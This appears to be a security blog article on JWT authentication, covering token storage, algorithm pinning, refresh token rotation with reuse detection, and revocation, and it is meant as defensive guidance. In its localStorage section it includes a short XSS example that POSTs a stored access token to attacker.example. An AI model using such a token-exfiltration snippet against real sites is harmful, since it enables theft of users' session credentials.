# JWT Authentication Done Right: Access Tokens, Refresh Tokens, and the Mistakes That Leak Both
TL;DR: Keep access tokens short-lived and out of reach of JavaScript (httpOnly, Secure, SameSite cookies or in-memory storage — never localStorage), rotate refresh tokens on every use with reuse detection, always pin the signing algorithm on verification, and accept that "instant revocation" requires a server-side lookup, not just a stateless JWT.
JWTs get blamed for a lot of auth incidents that are really implementation mistakes. The token format itself — a signed, base64url-encoded JSON claim set — is fine. What breaks systems is where the token gets stored, how it gets refreshed, and what happens when it needs to stop working before it expires. This piece walks through the three places JWT auth actually fails in production: storage, rotation, and revocation.
How access/refresh pairs are supposed to work
The standard pattern splits authentication into two tokens:
- Access token — short-lived (minutes), sent with every API request, typically as a
Bearerheader. It's stateless: the server verifies the signature and trusts the claims without a database round trip. - Refresh token — longer-lived (days to weeks), used only to mint new access tokens. Because it's long-lived and powerful, it needs to be stored more carefully and should be tracked server-side so it can be revoked.
The short lifetime on the access token limits the blast radius of a leak. The refresh token is where most of the real security engineering has to happen, because it's the credential that persists.
Mistake 1: storing tokens where JavaScript can read them
The most common JWT mistake is putting the access token (or worse, the refresh token) in localStorage or sessionStorage so a single-page app can attach it to requests manually.
The problem is that any JavaScript running on your page — your own code, a compromised npm dependency, a third-party script tag, an XSS payload injected through an unescaped user input field — has full read access to both storage APIs. A single stored-XSS vulnerability anywhere on the origin is enough:
// This is all it takes if a token sits in localStorage and an attacker
// gets even a reflected/stored XSS injection point somewhere on the page
fetch('https://attacker.example/collect', {
method: 'POST',
body: localStorage.getItem('access_token'),
});There's no CSP that fully closes this off if you're also relying on inline event handlers or third-party scripts, and no amount of "we sanitize our inputs" guarantees zero XSS across the lifetime of an app.
OWASP's Session Management Cheat Sheet is explicit about the alternative: do not store authentication tokens, session IDs, or JWTs in localStorage or sessionStorage, since those APIs are accessible to any JavaScript executing in the origin; cookies can mitigate this risk using the `httpOnly` flag. An httpOnly cookie is invisible to document.cookie and to any JS running on the page — even a successful XSS injection can't read it out, though the attacker's injected script can still make requests using it (the cookie rides along automatically), which is why CSRF defenses still matter.
The current pattern that OWASP and most framework maintainers converge on:
- Access token: kept in memory only (a JS variable in your app state) — never persisted, gone on page refresh, nothing for XSS to read from disk-backed storage.
- Refresh token:
httpOnly,Secure,SameSite=Strict(orLaxif you need cross-site navigation flows) cookie, scoped to the refresh endpoint's path.
// Express example: setting the refresh token cookie after login
res.cookie('refresh_token', refreshToken, {
httpOnly: true,
secure: true, // HTTPS only
sameSite: 'strict',
path: '/api/auth/refresh',
maxAge: 30 * 24 * 60 * 60 * 1000, // 30 days
});Because the cookie is scoped to /api/auth/refresh, it isn't even sent on ordinary API calls — reducing what a CSRF attempt against other endpoints could do with it. Pair SameSite=Strict/Lax with a CSRF token on the refresh endpoint itself for defense in depth.
Mistake 2: trusting the algorithm in the token header
JWTs declare their own signing algorithm in the header (alg). If your verification code reads that field and uses it to decide how to check the signature, an attacker can hand you a token that claims alg: none or swaps an asymmetric algorithm for a symmetric one, and get you to "verify" a token they forged themselves.
This isn't theoretical — it's a documented CVE class. CVE-2022-23540 affected the popular jsonwebtoken npm package: versions ≤8.5.1 could fall back to the none algorithm during jwt.verify() if a falsy secret was passed, allowing signature validation to be bypassed entirely. A related issue, CVE-2022-23541, covered algorithm-confusion attacks against the same library when a callback-based key lookup was used without enforcing that the verification algorithm matched what was actually used to sign. Both were fixed in jsonwebtoken@9.0.0 — if you're on an older major version, that's a real, exploitable bug in production, not a hypothetical.
The fix is the same regardless of library: always pass an explicit allowlist of accepted algorithms to the verify call, and never derive trust from the token's own header.
import { jwtVerify } from 'jose'; // jose v6.x
const secret = new TextEncoder().encode(process.env.JWT_SECRET);
async function verifyAccessToken(token) {
const { payload } = await jwtVerify(token, secret, {
algorithms: ['HS256'], // pin it — don't trust the header
issuer: 'https://wise-hustlers.com',
audience: 'wise-hustlers-api',
});
return payload;
}jose and current versions of jsonwebtoken both support this algorithms allowlist option — use it explicitly even when it matches your default, because defaults change across major versions and library forks.
Refresh token rotation and reuse detection
A refresh token that never changes is a long-lived bearer secret — if it leaks once, it's valid until it expires or someone notices. Rotation replaces it on every use: each call to the refresh endpoint returns a new access token and a new refresh token, and the old refresh token is invalidated immediately.
Rotation alone isn't the full control — it needs reuse detection to be worth anything. If an attacker steals a refresh token and uses it before the legitimate client does, rotation just means both parties now have a token, and only one of the resulting tokens will still work next time. Reuse detection catches this: if a refresh token that's already been rotated (i.e., marked as used/superseded) is presented again, treat it as a signal of compromise and revoke the entire token family, forcing re-authentication.
// Simplified refresh handler with rotation + reuse detection
async function handleRefresh(req, res) {
const token = req.cookies.refresh_token;
const record = await db.refreshToken.findUnique({ where: { token } });
if (!record) {
// Unknown token — either expired-and-pruned, or a reused/rotated one.
// Fail closed and, if it matches a known family, revoke that family.
return res.status(401).json({ error: 'invalid_refresh_token' });
}
if (record.rotatedAt) {
// This token was already exchanged once — reuse detected.
await db.refreshToken.updateMany({
where: { familyId: record.familyId },
data: { revoked: true },
});
return res.status(401).json({ error: 'refresh_reuse_detected' });
}
const newToken = generateRefreshToken();
await db.refreshToken.update({
where: { token },
data: { rotatedAt: new Date() },
});
await db.refreshToken.create({
data: { token: newToken, familyId: record.familyId, userId: record.userId },
});
res.cookie('refresh_token', newToken, cookieOptions);
res.json({ accessToken: signAccessToken(record.userId) });
}This is close to what Auth0's refresh token rotation implementation and Okta's rotation guide describe, including the optional short grace period some providers add to absorb network races between concurrent requests from the same client.
RFC 9700, the IETF's current OAuth 2.0 security best-practice document, goes a step further for public clients (SPAs, mobile apps) and says refresh tokens must either be sender-constrained or use rotation — sender-constraining (e.g., via DPoP, binding the token to a cryptographic key held by the client) is the stronger option, since a stolen token without the matching private key is useless even without rotation. Rotation with reuse detection is the more common pragmatic baseline; DPoP is worth adopting if your framework supports it and you're handling sensitive data.
Revocation: the part stateless tokens don't solve for free
The appeal of JWTs is that verification doesn't need a database call. The cost is that a valid, unexpired access token can't be un-issued without some server-side state. Three practical approaches, usually combined:
| Approach | How it works | Trade-off |
|---|---|---|
| Short access token TTL | 5–15 minute expiry | Compromise window is small even with no active revocation |
| Refresh token table (as above) | Revoke by deleting/flagging DB rows | Only stops future refreshes, not tokens already issued |
| Access token denylist | Store revoked token IDs (jti) in Redis with TTL matching token expiry | Adds a lookup per request, but enables true instant revocation |
Most teams skip the denylist for access tokens and accept a short TTL as "good enough" revocation latency, reserving hard revocation for the refresh token layer (logout, password change, admin-forced session kill). If your app handles anything regulated — payments, health data, credentials for other systems — the denylist lookup is usually worth the added latency.
If you're inheriting an existing auth system and aren't sure which of these gaps you actually have, a focused review of the auth flow is often faster than guessing — that's the kind of audit our cybersecurity services team does before touching anything else in a codebase.
FAQ
Is it ever okay to store a JWT in localStorage?
Only for low-stakes, short-lived tokens where an XSS compromise wouldn't matter much. For anything tied to a real user session, OWASP's guidance is to avoid it — an httpOnly cookie or in-memory storage removes the entire class of JS-readable-token attacks that localStorage is exposed to.
Do I need refresh token rotation if my access tokens already expire quickly?
Short-lived access tokens limit exposure from a leaked access token, but the refresh token is what actually persists across sessions. Without rotation, a leaked refresh token stays valid for its full lifetime — often weeks. Rotation with reuse detection turns a single leak into a detectable, boundable event instead of a standing backdoor.
Can you revoke a JWT before it expires?
Not by editing the token itself — it's signed and immutable. You revoke by tracking state server-side: deleting the refresh token record so it can't be renewed, and/or checking access token IDs against a denylist on each request if you need immediate cutoff rather than waiting out a short TTL.
What's the actual difference between JWT sessions and traditional server-side sessions?
A traditional session stores a random opaque ID in a cookie and looks up state server-side on every request. A JWT embeds the state in a signed token and verifies it cryptographically instead of via lookup. JWTs trade a DB read for a signature check, at the cost of needing separate mechanisms (rotation, denylists, short TTLs) to reproduce the instant revocation that a server-side session gets for free.
Sources
- OWASP Session Management Cheat Sheet
- OWASP JSON Web Token Cheat Sheet
- RFC 9700 — Best Current Practice for OAuth 2.0 Security
- CVE-2022-23540 — jsonwebtoken signature validation bypass (GitHub Advisory)
- CVE-2022-23541 — Auth0 jsonwebtoken algorithm confusion
- Auth0: Refresh Token Rotation
- Okta: Refresh access tokens and rotate refresh tokens
- jose npm package